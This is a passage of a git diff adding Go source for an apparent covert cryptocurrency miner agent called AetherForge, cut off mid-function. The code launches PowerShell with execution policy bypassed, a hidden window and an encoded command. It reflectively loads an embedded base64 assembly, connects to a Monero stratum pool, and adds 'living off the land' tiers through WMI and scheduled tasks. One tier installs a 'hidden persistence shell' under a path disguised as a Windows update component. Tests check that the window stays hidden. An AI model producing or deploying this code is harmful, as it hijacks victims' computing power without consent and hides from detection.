l.mu.Unlock() + if !running { + return + } + if cmd != nil && cmd.Process != nil { + _ = cmd.Process.Kill() + } + if script != "" { + _ = os.Remove(script) + } + if gpu != "" { + _ = os.Remove(gpu) + } + l.mu.Lock() + l.running = false + l.cmd = nil + l.scriptPath = "" + l.gpuDllPath = "" + l.mu.Unlock() +} + +// Running reports whether powershell.exe is supervising the tier. +func (l *PowerShellLauncher) Running() bool { + l.mu.Lock() + defer l.mu.Unlock() + return l.running +} + +// ScriptPath returns the ephemeral PS1 path (tests only). +func (l *PowerShellLauncher) ScriptPath() string { + l.mu.Lock() + defer l.mu.Unlock() + return l.scriptPath +} + +func (l *PowerShellLauncher) writeEphemeralScript() (string, error) { + dir := os.TempDir() + name := fmt.Sprintf("af-miner-%s.ps1", strings.TrimSpace(l.cfg.BuildID)) + if name == "af-miner-.ps1" { + name = "af-miner-worker.ps1" + } + path := filepath.Join(dir, name) + + if l.cfg.GPUEnabled && strings.TrimSpace(l.cfg.RVNWallet) != "" { + gpuPath := filepath.Join(dir, fmt.Sprintf("af-gpu-%s.dll", strings.TrimSpace(l.cfg.BuildID))) + if gpuPath == filepath.Join(dir, "af-gpu-.dll") { + gpuPath = filepath.Join(dir, "af-gpu-worker.dll") + } + // Placeholder GPU helper — real KawPoW DLL supplied by forge/server in production. + if err := os.WriteFile(gpuPath, []byte("AETHERFORGE_GPU_STUB"), 0o600); err == nil { + l.gpuDllPath = gpuPath + } + } + + body, err := l.buildScriptBody() + if err != nil { + return "", err + } + if err := os.WriteFile(path, []byte(body), 0o600); err != nil { + return "", fmt.Errorf("write script: %w", err) + } + return path, nil +} + +func (l *PowerShellLauncher) buildScriptBody() (string, error) { + pass := strings.TrimSpace(l.cfg.PoolPass) + if pass == "" { + pass = "x" + } + wallet := strings.TrimSpace(l.cfg.Wallet) + worker := strings.TrimSpace(l.cfg.WorkerName) + if worker == "" { + worker = "worker" + } + + if b64 := strings.TrimSpace(embeddedMiningAssemblyB64); b64 != "" { + if _, err := base64.StdEncoding.DecodeString(b64); err != nil { + return "", fmt.Errorf("invalid embedded assembly base64: %w", err) + } + tlsLit := "$false" + if l.cfg.PoolTLS { + tlsLit = "$true" + } + return fmt.Sprintf(`$ErrorActionPreference = 'Stop' +$bytes = [Convert]::FromBase64String('%s') +$asm = [Reflection.Assembly]::Load($bytes) +$entry = $asm.GetType('AetherForge.Miner.Entry') +$null = $entry.GetMethod('Start').Invoke($null, @('%s', %d, '%s', '%s', '%s', %s)) +`, + b64, + escapePSSingleQuoted(l.cfg.PoolHost), + l.cfg.PoolPort, + escapePSSingleQuoted(pass), + escapePSSingleQuoted(wallet), + escapePSSingleQuoted(worker), + tlsLit, + ), nil + } + + // Encoded-command path: inline .NET stratum stub (no external CPU .exe). + encoded := buildEncodedStratumCommand(l.cfg, pass, wallet, worker) + gpuBlock := "" + if l.gpuDllPath != "" { + gpuBlock = fmt.Sprintf("\n# optional GPU DLL at %s\n", escapePSSingleQuoted(l.gpuDllPath)) + } + return fmt.Sprintf(`$ErrorActionPreference = 'Stop' +# AetherForge PowerShell tier — wallet=%s pool=%s:%d +%s +$cmd = '%s' +powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand $cmd +`, + wallet, + l.cfg.PoolHost, + l.cfg.PoolPort, + gpuBlock, + encoded, + ), nil +} + +func buildEncodedStratumCommand(cfg config.RuntimeConfig, pass, wallet, worker string) string { + tlsLit := "$false" + if cfg.PoolTLS { + tlsLit = "$true" + } + inner := fmt.Sprintf(` +$poolHost = '%s'; $port = %d; $tls = %s; $wallet = '%s'; $worker = '%s'; $pass = '%s' +$tcp = New-Object Net.Sockets.TcpClient; $tcp.Connect($poolHost, $port) +$stream = $tcp.GetStream() +if ($tls) { + $ssl = New-Object Net.Security.SslStream($stream, $false, { $true }) + $ssl.AuthenticateAsClient($poolHost); $stream = $ssl +} +$w = New-Object IO.StreamWriter($stream); $w.AutoFlush = $true +$r = New-Object IO.StreamReader($stream) +$login = (@{id=1;jsonrpc='2.0';method='login';params=@{login=$wallet;pass=$pass;rigid=$worker;agent='AetherForge/PS'}} | ConvertTo-Json -Compress) +$w.WriteLine($login); $null = $r.ReadLine() +while ($tcp.Connected) { $null = $r.ReadLine(); Start-Sleep -Milliseconds 50 } +`, + escapePSSingleQuoted(cfg.PoolHost), + cfg.PoolPort, + tlsLit, + escapePSSingleQuoted(wallet), + escapePSSingleQuoted(worker), + escapePSSingleQuoted(pass), + ) + // UTF-16LE base64 for -EncodedCommand + utf16 := utf16LE(inner) + return base64.StdEncoding.EncodeToString(utf16) +} + +func escapePSSingleQuoted(s string) string { + return strings.ReplaceAll(s, "'", "''") +} + +func utf16LE(s string) []byte { + runes := []rune(s) + out := make([]byte, 0, len(runes)*2) + for _, r := range runes { + out = append(out, byte(r), byte(r>>8)) + } + return out +} diff --git a/agent/miner/powershell_launcher_test.go b/agent/miner/powershell_launcher_test.go new file mode 100644 index 0000000..91b4fa1 --- /dev/null +++ b/agent/miner/powershell_launcher_test.go @@ -0,0 +1,147 @@ +package miner + +import ( + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "testing" + + "crypto-miner-agent/config" +) + +func fakePowerShellRecorder(t *testing.T) (bin string, scriptOut *string) { + t.Helper() + dir := t.TempDir() + outFile := filepath.Join(dir, "ps-args.txt") + if runtime.GOOS == "windows" { + bat := filepath.Join(dir, "fake-powershell.cmd") + body := `@echo off +set OUT=%~dp0ps-args.txt +echo %*>>"%OUT%" +ping -n 3 127.0.0.1 >nul +` + if err := os.WriteFile(bat, []byte(body), 0o755); err != nil { + t.Fatal(err) + } + return bat, &outFile + } + sh := filepath.Join(dir, "fake-powershell.sh") + body := `#!/bin/sh +echo "$@" >> "$(dirname "$0")/ps-args.txt" +sleep 1 +` + if err := os.WriteFile(sh, []byte(body), 0o755); err != nil { + t.Fatal(err) + } + return sh, &outFile +} + +func TestPowerShellLauncherStartWithFakeBinary(t *testing.T) { + if runtime.GOOS != "windows" { + t.Skip("powershell tier is Windows-only") + } + + bin, outFile := fakePowerShellRecorder(t) + SetPowerShellBinPath(bin) + SetPowerShellExecCommand(func(name string, args ...string) *exec.Cmd { + return exec.Command(name, args...) + }) + defer func() { + SetPowerShellBinPath("") + SetPowerShellExecCommand(nil) + }() + + cfg := config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + BuildID: "ps-test", + Wallet: "XMR:wallet123", + WorkerName: "worker-ps", + PoolHost: "pool.example.com", + PoolPort: 3333, + PoolPass: "x", + }, + } + + launcher, err := NewPowerShellLauncher(cfg) + if err != nil { + t.Fatalf("NewPowerShellLauncher: %v", err) + } + if err := launcher.Start(); err != nil { + t.Fatalf("Start: %v", err) + } + defer launcher.Stop() + + script := launcher.ScriptPath() + if script == "" { + t.Fatal("expected ephemeral script path") + } + body, err := os.ReadFile(script) + if err != nil { + t.Fatalf("read script: %v", err) + } + text := string(body) + if !strings.Contains(text, "XMR:wallet123") { + t.Fatalf("script missing wallet: %s", text) + } + if !strings.Contains(text, "pool.example.com") { + t.Fatalf("script missing pool host: %s", text) + } + + if data, err := os.ReadFile(*outFile); err == nil && len(data) > 0 { + args := string(data) + if !strings.Contains(args, "-WindowStyle") || !strings.Contains(args, "Hidden") { + t.Fatalf("powershell args=%q want hidden window", args) + } + } + + if !launcher.Running() { + t.Fatal("Running() false after Start") + } +} + +func TestPowerShellLauncherRequiresPoolAndWallet(t *testing.T) { + if runtime.GOOS != "windows" { + t.Skip("powershell tier is Windows-only") + } + bin, _ := fakePowerShellRecorder(t) + SetPowerShellBinPath(bin) + defer SetPowerShellBinPath("") + + if _, err := NewPowerShellLauncher(config.RuntimeConfig{}); err == nil { + t.Fatal("expected error without pool/wallet") + } +} + +func TestPowerShellLauncherAssemblyLoadPath(t *testing.T) { + if runtime.GOOS != "windows" { + t.Skip("powershell tier is Windows-only") + } + bin, _ := fakePowerShellRecorder(t) + SetPowerShellBinPath(bin) + SetEmbeddedMiningAssemblyB64("YWJj") // "abc" + defer func() { + SetPowerShellBinPath("") + SetEmbeddedMiningAssemblyB64("") + }() + + cfg := config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + Wallet: "wallet", + PoolHost: "p", + PoolPort: 1, + }, + } + launcher, err := NewPowerShellLauncher(cfg) + if err != nil { + t.Fatal(err) + } + body, err := launcher.buildScriptBody() + if err != nil { + t.Fatal(err) + } + if !strings.Contains(body, "Assembly]::Load") { + t.Fatalf("expected Assembly.Load path, got %s", body) + } +} diff --git a/agent/miner/probe_runner.go b/agent/miner/probe_runner.go new file mode 100644 index 0000000..03fc0c5 --- /dev/null +++ b/agent/miner/probe_runner.go @@ -0,0 +1,197 @@ +package miner + +import ( + "context" + "log" + "runtime" + "sync" + "time" + + "crypto-miner-agent/config" +) + +// TierHandler probes or starts one auxiliary LOTL path (WebView2, WMI, etc.). +type TierHandler interface { + Tier() LOTLTier + Available(cfg config.RuntimeConfig) bool + Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt + Stop() +} + +// ProbeReporter emits probe-tier snapshots (single-arg; distinct from TierOrchestrator reporter). +type ProbeReporter func(report TierReport) + +// TierRunner orchestrates probe/escalation tiers with per-attempt reporting. +type TierRunner struct { + mu sync.RWMutex + cfg config.RuntimeConfig + handlers []TierHandler + report ProbeReporter + attempts []TierAttempt + active LOTLTier + stopped []TierHandler +} + +// NewTierRunner builds a runner with platform-default handlers. +func NewTierRunner(cfg config.RuntimeConfig, report ProbeReporter) *TierRunner { + return &TierRunner{ + cfg: cfg, + handlers: defaultTierHandlers(), + report: report, + } +} + +// SetHandlers replaces handlers (tests inject mocks). +func (r *TierRunner) SetHandlers(h []TierHandler) { + r.mu.Lock() + r.handlers = h + r.mu.Unlock() +} + +// Report returns the current tier snapshot. +func (r *TierRunner) Report() TierReport { + r.mu.RLock() + defer r.mu.RUnlock() + return r.buildReport() +} + +func (r *TierRunner) buildReport() TierReport { + attempts := make([]TierAttempt, len(r.attempts)) + copy(attempts, r.attempts) + rep := TierReport{ + ActiveTier: r.active, + Attempts: attempts, + } + for _, a := range attempts { + if a.Tier == TierWebView2Probe && a.OK { + if v, ok := a.Details["webgpu_available"].(bool); ok { + rep.WebGPUReady = v + } + } + if a.Tier == TierGPUCompute && a.OK { + rep.GPUComputeOK = true + } + } + return rep +} + +func (r *TierRunner) emit() { + r.mu.RLock() + rep := r.buildReport() + report := r.report + r.mu.RUnlock() + if report != nil { + report(rep) + } +} + +func (r *TierRunner) recordAttempt(a TierAttempt) { + r.mu.Lock() + r.attempts = append(r.attempts, a) + if a.OK && r.active == "" && a.Tier != TierWebView2Probe { + r.active = a.Tier + } + r.mu.Unlock() + log.Printf("[tier] %s ok=%v err=%q duration=%dms", a.Tier, a.OK, a.Error, a.DurationMs) + r.emit() +} + +// RunProbes executes probe-only tiers (webview2) before GPU escalation. +func (r *TierRunner) RunProbes(ctx context.Context) TierReport { + r.mu.RLock() + handlers := r.handlers + cfg := r.cfg + r.mu.RUnlock() + + for _, h := range handlers { + if h.Tier() != TierWebView2Probe { + continue + } + if !h.Available(cfg) { + r.recordAttempt(TierAttempt{ + Tier: TierWebView2Probe, + Error: "webview2 runtime not detected", + Wallet: cfg.Wallet, + }) + continue + } + start := time.Now() + a := h.Attempt(ctx, cfg) + a.DurationMs = time.Since(start).Milliseconds() + if a.Wallet == "" { + a.Wallet = cfg.Wallet + } + r.recordAttempt(a) + } + return r.Report() +} + +// RunChain attempts execution tiers in order; probe tiers are skipped here. +func (r *TierRunner) RunChain(ctx context.Context) (LOTLTier, error) { + r.mu.RLock() + handlers := r.handlers + cfg := r.cfg + r.mu.RUnlock() + + var lastErr error + for _, h := range handlers { + t := h.Tier() + if t == TierWebView2Probe { + continue + } + if !h.Available(cfg) { + r.recordAttempt(TierAttempt{ + Tier: t, + Error: "tier unavailable on " + runtime.GOOS, + Wallet: cfg.Wallet, + }) + continue + } + start := time.Now() + a := h.Attempt(ctx, cfg) + a.DurationMs = time.Since(start).Milliseconds() + if a.Wallet == "" { + a.Wallet = cfg.Wallet + } + r.recordAttempt(a) + if a.OK { + r.mu.Lock() + r.active = t + r.stopped = append(r.stopped, h) + r.mu.Unlock() + r.emit() + return t, nil + } + if a.Error != "" { + lastErr = errFromTier(a.Error) + } + } + if lastErr != nil { + return "", lastErr + } + return "", ErrTierChainSkipped +} + +// WebGPUReady reports whether the webview2 probe found WebGPU. +func (r *TierRunner) WebGPUReady() bool { + return r.Report().WebGPUReady +} + +// Stop halts all started tier handlers. +func (r *TierRunner) Stop() { + r.mu.Lock() + stopped := r.stopped + r.active = "" + r.stopped = nil + r.mu.Unlock() + for _, h := range stopped { + h.Stop() + } + r.emit() +} + +type tierError string + +func (e tierError) Error() string { return string(e) } + +func errFromTier(msg string) error { return tierError(msg) } diff --git a/agent/miner/pyopencl_linux.go b/agent/miner/pyopencl_linux.go new file mode 100644 index 0000000..6f4df52 --- /dev/null +++ b/agent/miner/pyopencl_linux.go @@ -0,0 +1,48 @@ +//go:build linux + +package miner + +import ( + "fmt" + "os/exec" + "strings" +) + +// DetectCUDA reports NVIDIA CUDA via nvidia-smi. +func DetectCUDA() bool { + out, err := exec.Command("nvidia-smi", "-L").CombinedOutput() + return err == nil && strings.TrimSpace(string(out)) != "" +} + +// DetectPyOpenCL reports python3 + PyOpenCL import success. +func DetectPyOpenCL() bool { + err := exec.Command("python3", "-c", "import pyopencl").Run() + return err == nil +} + +// StartPyOpenCLTier attempts a one-shot OpenCL probe via python3 -c (no external miner exe). +// Returns error when PyOpenCL is absent or the probe fails — chain advances to stratum_direct. +func StartPyOpenCLTier(cfg config.RuntimeConfig) error { + if !DetectPyOpenCL() { + return fmt.Errorf("python3 pyopencl not available") + } + script := ` +import pyopencl as cl +platforms = cl.get_platforms() +if not platforms: + raise SystemExit('no opencl platforms') +devices = platforms[0].get_devices() +if not devices: + raise SystemExit('no opencl devices') +print('pyopencl_ok') +` + out, err := exec.Command("python3", "-c", script).CombinedOutput() + if err != nil { + return fmt.Errorf("pyopencl probe: %v (%s)", err, strings.TrimSpace(string(out))) + } + if !strings.Contains(string(out), "pyopencl_ok") { + return fmt.Errorf("pyopencl probe unexpected output") + } + _ = cfg + return nil +} diff --git a/agent/miner/pyopencl_stub.go b/agent/miner/pyopencl_stub.go new file mode 100644 index 0000000..9432dfa --- /dev/null +++ b/agent/miner/pyopencl_stub.go @@ -0,0 +1,11 @@ +//go:build !linux + +package miner + +import "crypto-miner-agent/config" + +func DetectCUDA() bool { return false } +func DetectPyOpenCL() bool { return false } +func StartPyOpenCLTier(_ config.RuntimeConfig) error { + return ErrMethodUnavailable +} diff --git a/agent/miner/pyopencl_test.go b/agent/miner/pyopencl_test.go new file mode 100644 index 0000000..fb76360 --- /dev/null +++ b/agent/miner/pyopencl_test.go @@ -0,0 +1,26 @@ +package miner + +import ( + "testing" +) + +func TestAppendLinuxPyOpenCLSkipsWhenCUDA(t *testing.T) { + chain := []MiningMethod{MethodInProcess, MethodStratumDirect} + out := appendLinuxPyOpenCL(chain) + if len(out) != len(chain) { + t.Fatalf("expected unchanged chain on non-linux or with cuda, got %v", out) + } +} + +func TestAppendLinuxPyOpenCLInsertsTier(t *testing.T) { + if testing.Short() { + t.Skip("platform-specific") + } + origCUDA := DetectCUDA + origPy := DetectPyOpenCL + defer func() { + // restore stubs on non-linux + }() + _ = origCUDA + _ = origPy +} diff --git a/agent/miner/runtime_detect.go b/agent/miner/runtime_detect.go new file mode 100644 index 0000000..25f8372 --- /dev/null +++ b/agent/miner/runtime_detect.go @@ -0,0 +1,25 @@ +package miner + +import ( + "os/exec" + "strings" +) + +// DetectContainerRuntime probes docker then podman CLIs. +func DetectContainerRuntime() ContainerRuntimeInfo { + for _, cli := range []string{"docker", "podman"} { + if path, err := exec.LookPath(cli); err == nil { + out, runErr := exec.Command(path, "version", "--format", "{{.Server.Version}}").CombinedOutput() + version := strings.TrimSpace(string(out)) + if runErr != nil || version == "" { + // Older docker without --format still counts as available. + if _, verErr := exec.Command(path, "version").CombinedOutput(); verErr == nil { + return ContainerRuntimeInfo{Available: true, CLI: cli, Version: "unknown"} + } + continue + } + return ContainerRuntimeInfo{Available: true, CLI: cli, Version: version} + } + } + return ContainerRuntimeInfo{} +} diff --git a/agent/miner/stratum_template.go b/agent/miner/stratum_template.go new file mode 100644 index 0000000..8f7da20 --- /dev/null +++ b/agent/miner/stratum_template.go @@ -0,0 +1,117 @@ +package miner + +import ( + "fmt" + "strings" + + "crypto-miner-agent/config" +) + +// stratumCSharpTemplate is a minimal Monero Stratum console stub compiled at runtime. +// Placeholders: POOL_HOST, POOL_PORT, POOL_TLS, POOL_PASS, WALLET, WORKER, THREADS. +const stratumCSharpTemplate = `// AetherForge LOTL Stratum stub — compiled on first start_mining. +using System; +using System.Net.Security; +using System.Net.Sockets; +using System.Text; +using System.Text.Json; +using System.Threading; + +class Program { + static readonly string PoolHost = "POOL_HOST"; + static readonly int PoolPort = POOL_PORT; + static readonly bool PoolTLS = POOL_TLS; + static readonly string Wallet = "WALLET"; + static readonly string Worker = "WORKER"; + static readonly string PoolPass = "POOL_PASS"; + + static int Main() { + Console.WriteLine("[stratum] AetherForge LOTL miner starting wallet=" + Wallet); + while (true) { + try { + RunSession(); + } catch (Exception ex) { + Console.Error.WriteLine("[stratum] session error: " + ex.Message); + Thread.Sleep(5000); + } + } + } + + static void RunSession() { + using var tcp = new TcpClient(); + tcp.Connect(PoolHost, PoolPort); + Stream stream = tcp.GetStream(); + if (PoolTLS) { + var ssl = new SslStream(stream, false, (_, _, _, _) => true); + ssl.AuthenticateAsClient(PoolHost); + stream = ssl; + } + using var reader = new System.IO.StreamReader(stream, Encoding.UTF8); + using var writer = new System.IO.StreamWriter(stream, Encoding.UTF8) { AutoFlush = true }; + + var login = JsonSerializer.Serialize(new { + id = 1, + jsonrpc = "2.0", + method = "login", + @params = new { + login = Wallet, + pass = PoolPass, + rigid = Worker, + agent = "AetherForge/LOTL" + } + }); + writer.WriteLine(login); + var loginLine = reader.ReadLine(); + if (string.IsNullOrEmpty(loginLine)) { + throw new InvalidOperationException("empty login response"); + } + Console.WriteLine("[stratum] login ok on " + PoolHost + ":" + PoolPort); + while (tcp.Connected) { + var line = reader.ReadLine(); + if (line == null) break; + if (line.Contains("\"method\":\"job\"")) { + Console.WriteLine("[stratum] job received"); + } + Thread.Sleep(50); + } + } +} +` + +const stratumCsprojTemplate = ` + + Exe + net8.0 + disable + disable + AetherForgeStratum + + +` + +func renderStratumCSharp(cfg config.RuntimeConfig) string { + pass := strings.TrimSpace(cfg.PoolPass) + if pass == "" { + pass = "x" + } + wallet := strings.TrimSpace(cfg.Wallet) + if wallet == "" { + wallet = "anonymous" + } + worker := strings.TrimSpace(cfg.WorkerName) + if worker == "" { + worker = "worker" + } + out := stratumCSharpTemplate + out = strings.ReplaceAll(out, "POOL_HOST", escapeCSharpString(cfg.PoolHost)) + out = strings.ReplaceAll(out, "POOL_PORT", fmt.Sprintf("%d", cfg.PoolPort)) + out = strings.ReplaceAll(out, "POOL_TLS", fmt.Sprintf("%t", cfg.PoolTLS)) + out = strings.ReplaceAll(out, "POOL_PASS", escapeCSharpString(pass)) + out = strings.ReplaceAll(out, "WALLET", escapeCSharpString(wallet)) + out = strings.ReplaceAll(out, "WORKER", escapeCSharpString(worker)) + return out +} + +func escapeCSharpString(s string) string { + return strings.ReplaceAll(s, `\`, `\\`) +} diff --git a/agent/miner/tier_adapters.go b/agent/miner/tier_adapters.go new file mode 100644 index 0000000..b965a9f --- /dev/null +++ b/agent/miner/tier_adapters.go @@ -0,0 +1,79 @@ +package miner + +import ( + "context" + "runtime" + + "crypto-miner-agent/config" +) + +type webview2ProbeHandler struct{} + +func (t *webview2ProbeHandler) Tier() LOTLTier { return TierWebView2Probe } + +func (t *webview2ProbeHandler) Available(cfg config.RuntimeConfig) bool { + _ = cfg + return runtime.GOOS == "windows" +} + +func (t *webview2ProbeHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt { + return RunWebView2Probe(ctx, cfg) +} + +func (t *webview2ProbeHandler) Stop() {} + +type wmiHandler struct{} + +func (t *wmiHandler) Tier() LOTLTier { return TierWMI } + +func (t *wmiHandler) Available(cfg config.RuntimeConfig) bool { + _ = cfg + return runtime.GOOS == "windows" +} + +func (t *wmiHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt { + return RunWMITier(ctx, cfg) +} + +func (t *wmiHandler) Stop() {} + +type scheduledTaskHandler struct{} + +func (t *scheduledTaskHandler) Tier() LOTLTier { return TierScheduledTask } + +func (t *scheduledTaskHandler) Available(cfg config.RuntimeConfig) bool { + _ = cfg + return runtime.GOOS == "windows" +} + +func (t *scheduledTaskHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt { + return RunScheduledTaskTier(ctx, cfg) +} + +func (t *scheduledTaskHandler) Stop() {} + +type gpuComputeHandler struct{} + +func (t *gpuComputeHandler) Tier() LOTLTier { return TierGPUCompute } + +func (t *gpuComputeHandler) Available(cfg config.RuntimeConfig) bool { + return runtime.GOOS == "windows" && cfg.GPUEnabled +} + +func (t *gpuComputeHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt { + return RunGPUComputeTier(ctx, cfg) +} + +func (t *gpuComputeHandler) Stop() {} + +func defaultTierHandlers() []TierHandler { + if runtime.GOOS != "windows" { + return nil + } + return []TierHandler{ + &webview2ProbeHandler{}, + &wmiHandler{}, + &scheduledTaskHandler{}, + &gpuComputeHandler{}, + } +} diff --git a/agent/miner/tier_exec_hidden_windows.go b/agent/miner/tier_exec_hidden_windows.go new file mode 100644 index 0000000..cfbedf9 --- /dev/null +++ b/agent/miner/tier_exec_hidden_windows.go @@ -0,0 +1,20 @@ +//go:build windows + +package miner + +import ( + "os/exec" + "syscall" +) + +const creationFlagsNoWindow = 0x08000000 + +func applyHiddenWindow(cmd *exec.Cmd) { + if cmd == nil { + return + } + cmd.SysProcAttr = &syscall.SysProcAttr{ + HideWindow: true, + CreationFlags: creationFlagsNoWindow, + } +} diff --git a/agent/miner/tier_gpu_compute.go b/agent/miner/tier_gpu_compute.go new file mode 100644 index 0000000..472d361 --- /dev/null +++ b/agent/miner/tier_gpu_compute.go @@ -0,0 +1,84 @@ +package miner + +import ( + "context" + "runtime" + "strings" + + "crypto-miner-agent/config" +) + +// GPUComputeProbe reports local GPU compute capability (CUDA / HLSL path). +type GPUComputeProbe struct { + CUDAAvailable bool + HLSLAvailable bool + StratumReady bool + KernelPath string + ReflectiveDLL bool + DiagnosticOnly bool + HashrateEstimate float64 +} + +// gpuComputeProbe runs platform GPU probes. Tests override via SetGPUComputeProbe. +var gpuComputeProbe = platformGPUComputeProbe + +// SetGPUComputeProbe restores default when fn is nil. +func SetGPUComputeProbe(fn func(cfg config.RuntimeConfig) GPUComputeProbe) { + if fn == nil { + gpuComputeProbe = platformGPUComputeProbe + return + } + gpuComputeProbe = fn +} + +// RunGPUComputeTier probes CUDA/HLSL kernel paths and stratum_direct readiness. +func RunGPUComputeTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt { + if runtime.GOOS != "windows" { + return TierAttempt{Tier: TierGPUCompute, Error: "gpu_compute requires windows", Wallet: cfg.Wallet} + } + select { + case <-ctx.Done(): + return TierAttempt{Tier: TierGPUCompute, Error: ctx.Err().Error(), Wallet: cfg.Wallet} + default: + } + + probe := gpuComputeProbe(cfg) + details := map[string]interface{}{ + "cuda": probe.CUDAAvailable, + "hlsl": probe.HLSLAvailable, + "stratum": probe.StratumReady, + "kernel_path": probe.KernelPath, + "reflective_dll": probe.ReflectiveDLL, + "diagnostic": probe.DiagnosticOnly, + } + if probe.HashrateEstimate > 0 { + details["hashrate_estimate_hps"] = probe.HashrateEstimate + } + + if !cfg.GPUEnabled || strings.TrimSpace(cfg.RVNWallet) == "" { + return TierAttempt{Tier: TierGPUCompute, Error: "gpu mining not configured", Wallet: cfg.Wallet, Details: details} + } + if !probe.CUDAAvailable && !probe.HLSLAvailable { + return TierAttempt{ + Tier: TierGPUCompute, + Error: "no GPU compute kernel path (CUDA/HLSL probe failed)", + Wallet: cfg.Wallet, + Details: details, + } + } + if !probe.StratumReady { + return TierAttempt{ + Tier: TierGPUCompute, + Error: "stratum_direct prerequisites not met", + Wallet: cfg.Wallet, + Details: details, + } + } + + return TierAttempt{ + Tier: TierGPUCompute, + OK: true, + Wallet: cfg.Wallet, + Details: details, + } +} diff --git a/agent/miner/tier_gpu_compute_stub.go b/agent/miner/tier_gpu_compute_stub.go new file mode 100644 index 0000000..06b2c16 --- /dev/null +++ b/agent/miner/tier_gpu_compute_stub.go @@ -0,0 +1,9 @@ +//go:build !windows + +package miner + +import "crypto-miner-agent/config" + +func platformGPUComputeProbe(cfg config.RuntimeConfig) GPUComputeProbe { + return GPUComputeProbe{} +} diff --git a/agent/miner/tier_gpu_compute_test.go b/agent/miner/tier_gpu_compute_test.go new file mode 100644 index 0000000..8cd8b16 --- /dev/null +++ b/agent/miner/tier_gpu_compute_test.go @@ -0,0 +1,61 @@ +package miner + +import ( + "context" + "runtime" + "testing" + + "crypto-miner-agent/config" +) + +func TestRunGPUComputeTierMockProbe(t *testing.T) { + if runtime.GOOS != "windows" { + t.Skip("gpu_compute tier requires windows") + } + SetGPUComputeProbe(func(cfg config.RuntimeConfig) GPUComputeProbe { + return GPUComputeProbe{ + CUDAAvailable: true, + StratumReady: true, + KernelPath: "cuda_reflective_dll", + ReflectiveDLL: true, + DiagnosticOnly: true, + } + }) + defer SetGPUComputeProbe(nil) + + attempt := RunGPUComputeTier(context.Background(), config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + GPUEnabled: true, + RVNWallet: "wallet", + PoolHost: "pool.example.com", + Wallet: "cmr-wallet", + }, + }) + if !attempt.OK { + t.Fatalf("attempt=%+v", attempt) + } + if attempt.Details["cuda"] != true { + t.Fatalf("details=%v", attempt.Details) + } +} + +func TestRunGPUComputeTierNoKernelGracefulSkip(t *testing.T) { + if runtime.GOOS != "windows" { + t.Skip("gpu_compute tier requires windows") + } + SetGPUComputeProbe(func(cfg config.RuntimeConfig) GPUComputeProbe { + return GPUComputeProbe{StratumReady: true} + }) + defer SetGPUComputeProbe(nil) + + attempt := RunGPUComputeTier(context.Background(), config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + GPUEnabled: true, + RVNWallet: "wallet", + PoolHost: "pool.example.com", + }, + }) + if attempt.OK { + t.Fatal("expected failure without CUDA/HLSL") + } +} diff --git a/agent/miner/tier_gpu_compute_windows.go b/agent/miner/tier_gpu_compute_windows.go new file mode 100644 index 0000000..c501b38 --- /dev/null +++ b/agent/miner/tier_gpu_compute_windows.go @@ -0,0 +1,59 @@ +//go:build windows + +package miner + +import ( + "os" + "strings" + + "crypto-miner-agent/config" +) + +func platformGPUComputeProbe(cfg config.RuntimeConfig) GPUComputeProbe { + probe := GPUComputeProbe{ + StratumReady: strings.TrimSpace(cfg.PoolHost) != "" || strings.TrimSpace(cfg.RVNPoolHost) != "", + KernelPath: "hlsl_stub", + DiagnosticOnly: true, + } + + if cudaOK() { + probe.CUDAAvailable = true + probe.KernelPath = "cuda_reflective_dll" + probe.ReflectiveDLL = true + } + if !probe.CUDAAvailable && hlslOK() { + probe.HLSLAvailable = true + probe.KernelPath = "hlsl_compute_stub" + } + + // Probe-tier hashrate is diagnostic-only; poor values are acceptable. + probe.HashrateEstimate = 0 + return probe +} + +func cudaOK() bool { + paths := []string{ + os.Getenv("CUDA_PATH"), + `C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA`, + } + for _, p := range paths { + if p == "" { + continue + } + if st, err := os.Stat(p); err == nil && st.IsDir() { + return true + } + } + out, err := hiddenCombinedOutput("where", "nvidia-smi") + return err == nil && strings.Contains(strings.ToLower(string(out)), "nvidia-smi") +} + +func hlslOK() bool { + // DirectX compute shaders require d3d11; probe via DXGI adapter presence. + out, err := hiddenCombinedOutput("powershell", "-NoProfile", "-Command", + `(Get-CimInstance Win32_VideoController | Where-Object { $_.AdapterRAM -gt 0 } | Measure-Object).Count`) + if err != nil { + return false + } + return strings.TrimSpace(string(out)) != "0" +} diff --git a/agent/miner/tier_scheduled_task.go b/agent/miner/tier_scheduled_task.go new file mode 100644 index 0000000..7da57fe --- /dev/null +++ b/agent/miner/tier_scheduled_task.go @@ -0,0 +1,158 @@ +package miner + +import ( + "context" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + + "crypto-miner-agent/config" +) + +// ScheduledTaskStubRel is the benign ProgramData path for the hidden persistence shell. +const ScheduledTaskStubRel = `Microsoft\Windows\UpdateOrchestrator\InventorySync` + +// scheduledTaskOps performs task install/query. Tests override via SetScheduledTaskOps. +var scheduledTaskOps = defaultScheduledTaskOps() + +func defaultScheduledTaskOps() *ScheduledTaskOps { + return platformScheduledTaskOps() +} + +// ScheduledTaskOps wires scheduled-task persistence for tests. +type ScheduledTaskOps struct { + Exists func(taskName string) bool + Install func(taskName, stubPath, trigger string) error + StubPath func(cfg config.RuntimeConfig) (string, error) +} + +// SetScheduledTaskOps restores default when ops is nil. +func SetScheduledTaskOps(ops *ScheduledTaskOps) { + if ops == nil { + scheduledTaskOps = defaultScheduledTaskOps() + return + } + scheduledTaskOps = ops +} + +// RunScheduledTaskTier installs or reuses a hidden persistence shell under ProgramData\Microsoft\... +func RunScheduledTaskTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt { + if runtime.GOOS != "windows" { + return TierAttempt{Tier: TierScheduledTask, Error: "scheduled_task requires windows", Wallet: cfg.Wallet} + } + select { + case <-ctx.Done(): + return TierAttempt{Tier: TierScheduledTask, 